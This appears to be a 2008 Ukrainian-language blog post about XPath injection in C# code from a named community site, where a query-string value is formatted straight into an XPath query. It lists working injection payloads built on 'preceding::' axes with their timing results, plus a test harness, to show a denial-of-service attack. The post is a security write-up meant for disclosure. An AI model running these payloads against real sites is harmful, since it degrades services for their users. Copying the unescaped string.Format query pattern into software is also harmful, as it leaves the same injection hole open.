15 August 2008
Невеличка DoS атака за допомогою XPath
Продовжу розбирати Code Smells сайту Architects In UA. Наразі сьогодні розберу цей код:
XPathNodeIterator nodes = navigator.Select(string.Format("/rss/channel/item[guid='{0}']/title", item));
while (nodes.MoveNext())
{
Header.Title += " :: " + nodes.Current.Value;
}
Також потрібно додати що item це просто відображення параметру в рядку запита. Тобто аткуючий може змінювати її на свій розсуд.
Перше що впадає у вічі це те що я можу змінити XPath.
Якщо item буде
' or [somethig] or ''!='
то результучий XPath буде
/rss/channel/item[guid='' or [somethig] or ''!='']/title
Тепер питання що з цим можна робити. Для Denial-of-service (DoS) атаки нам потрібно що сервер максимально довго міркував. Так? Так. Якщо б це був Regex я б вже знав що робити ;). Але це не Regex, отже потрібно пошукати.
Одразу ж знайшлась цікава лінка - http://amachang.art-code.org/xpathperformance/ – таблиця де зібрані варіанти XPath та час виконання. Воно не про .Net але мені цього більш аніж достатньо.
Результати тесту для невеличкого фіда скачаного з головної сторінки dev.net.ua.
| Значення item |
Ticks |
Коментар |
| 434e5f47-9beb-46b7-aee2-adf5f643f7c6:6644 |
9765 |
Це в нормальному плині |
| ' or .//*[@isPermaLink < 6 and @isPermaLink > 2] or ''!=' |
29295 |
Це перша спроба, не такий вже і великий розбіг. Зараз коли пишу схоже and потрібно було замінити на or |
| ' or .//*[preceding::div] or ''!=' |
1230390 |
О! Це вже значно краще
|
| ' or .//*[preceding::div] or .//*[preceding::div2] or .//*[preceding::div3] or .//*[preceding::div4] or .//*[preceding::div5] or .//*[preceding::div6] or .//*[preceding::div7] or .//*[preceding::div8] or .//*[preceding::div9] or .//*[preceding::div10] or .//*[preceding::div11] or .//*[preceding::div12] or .//*[preceding::div13] or ''!=' |
12323430 |
А це ще краще! Це вже може бути 1 секунда! |
| ' or .//*[preceding::div or preceding::div2] or ''!=' |
2675610 |
Це просто більш компактна форма, а то може так статися що адресного рядка не вистачить ;) |
1 секунда чистого серверного часу на невеличкому фіді! Декілька компів, більший фід, і DoS атака вдалась! Отож і воно. Ніколи, ніколи не можна недооцінювати те що можуть зробити юзери!
Як зарадити? Як використовувати? Інші питання? Поради мені? Буду радий почути. Коментарі до ваших послуг!
Код який використовувася для перевірки.
using (Stream stream = File.OpenRead(@"D:\Public\Downloads\dev_net_ua.xml"))
{
XmlDocument document = new XmlDocument();
document.Load(stream);
XPathNavigator navigator = document.CreateNavigator();
// XPATH execution statistics taken from
// http://amachang.art-code.org/xpathperformance/
//const string item = "434e5f47-9beb-46b7-aee2-adf5f643f7c6:6644"; //9765
//const string item = "' or .//*[preceding::div] or ''!='"; // 1230390
//const string item = "' or .//*[@isPermaLink < 6 and @isPermaLink > 2] or ''!='"; // 29295
//const string item = "' or .//*[preceding::div] or .//*[preceding::div2] or .//*[preceding::div3] or .//*[preceding::div4] or .//*[preceding::div5] or .//*[preceding::div6] or .//*[preceding::div7] or .//*[preceding::div8] or .//*[preceding::div9] or .//*[preceding::div10] or .//*[preceding::div11] or .//*[preceding::div12] or .//*[preceding::div13] or ''!='"; // 12323430
const string item = "' or .//*[preceding::div or preceding::div2] or ''!='"; // 2675610
string result = String.Empty;
DateTime startTime = DateTime.UtcNow;
XPathNodeIterator nodes = navigator.Select(string.Format("/rss/channel/item[guid='{0}']/title", item));
while (nodes.MoveNext())
{
result += " :: " + nodes.Current.Value;
}
DateTime endTime = DateTime.UtcNow;
Console.WriteLine(endTime.Subtract(startTime).Ticks);
}
Додатково. Ця проблема не нова, так само як і SQL Injection ця проблема називається XPath Injection, пошук дає десятки результатів.
Вчу українську, багато працюю. Цікавлюсь моделюванням небезпек. Більшість часу витрачаю на .Net.